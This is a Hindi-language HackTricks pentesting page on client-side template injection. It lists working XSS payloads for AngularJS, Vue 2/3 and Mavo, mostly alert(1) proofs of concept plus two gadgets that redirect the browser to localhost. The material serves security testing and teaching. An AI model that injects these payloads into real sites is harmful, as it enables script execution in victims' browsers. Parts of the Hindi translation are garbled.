Client Side Template Injection (CSTI)

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

सारांश

यह सर्वर साइड टेम्पलेट इंजेक्शन की तरह है लेकिन क्लाइंट में। SSTI आपको रिमोट सर्वर पर कोड को निष्पादित करने की अनुमति देता है, जबकि CSTI आपको पीड़ित के ब्राउज़र में विचित्र JavaScript कोड को निष्पादित करने की अनुमति देता है।

इस वंरूपता के लिए टेस्टिंग SSTI के मामले में बहुत समान है, इंटरप्रीटर को एक टेम्पलेट की उम्मीद होती है और इसे निष्पादित करेगा। उदाहरण के लिए, एक पेलोड जैसे {{ 7-7 }} के साथ, यदि ऐप वंरूप है, तो आपको 0 दिखाई देगा, और अगर नहीं, तो आपको मूल दिखाई देगा: {{ 7-7 }}

AngularJS

AngularJS एक व्यापक रूप से उपयोग किया जाने वाला JavaScript फ्रेमवर्क है जो डायरेक्टिव्स के रूप में जाने जाने वाले एट्रिब्यूट के माध्यम से HTML के साथ संवाद करता है, जिसमें से एक प्रमुख है ng-app। यह डायरेक्टिव AngularJS को HTML सामग्री को प्रसंस्करण करने की अनुमति देता है, जिससे डबल कर्ली ब्रेसेज़ के भीतर JavaScript अभिव्यक्तियों को निष्पादित करने की संभावना होती है।

उन स्थितियों में जहां उपयोगकर्ता इनपुट को HTML बॉडी में डायनामिक रूप से डालता है जिसे ng-app के साथ टैग किया गया है, वहां विचित्र JavaScript कोड को निष्पादित करना संभव है। इसे इनपुट के अंदर AngularJS की वाक्याकारी का लाभ उठाकर प्राप्त किया जा सकता है। नीचे उदाहरण हैं जो दिखाते हैं कि कैसे JavaScript कोड को निष्पादित किया जा सकता है:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

आप AngularJS में सुरक्षित नुकसान का एक बहुत मौलिक ऑनलाइन उदाहरण http://jsfiddle.net/2zs2yv7o/ और Burp Suite Academy में देख सकते हैं।

Angular 1.6 ने सैंडबॉक्स को हटा दिया इसलिए इस संस्करण से {{constructor.constructor('alert(1)')()}} या <input ng-focus=$event.view.alert('XSS')> जैसा एक पेलोड काम करना चाहिए।

VueJS

आप एक विकल्पीय Vue कार्यान्वयन को https://vue-client-side-template-injection-example.azu.now.sh/ पर पा सकते हैं। काम करने वाला पेलोड: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

और यहाँ विकल्पीय उदाहरण का स्रोत कोड है: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

V3

व्यू में सीएसटीआई पर एक बहुत अच्छी पोस्ट https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets पाई जा सकती है।

{{_openBlock.constructor('alert(1)')()}}

क्रेडिट: गैरेथ हेय्स, लुईस आर्डर्न और प्वनफंक्शन

V2

{{constructor.constructor('alert(1)')()}}

Credit: मारियो हाइडेरिच

अधिक VUE payloads देखें https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

अधिक payloads इन https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

ब्रूट-फोर्स डिटेक्शन सूची

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated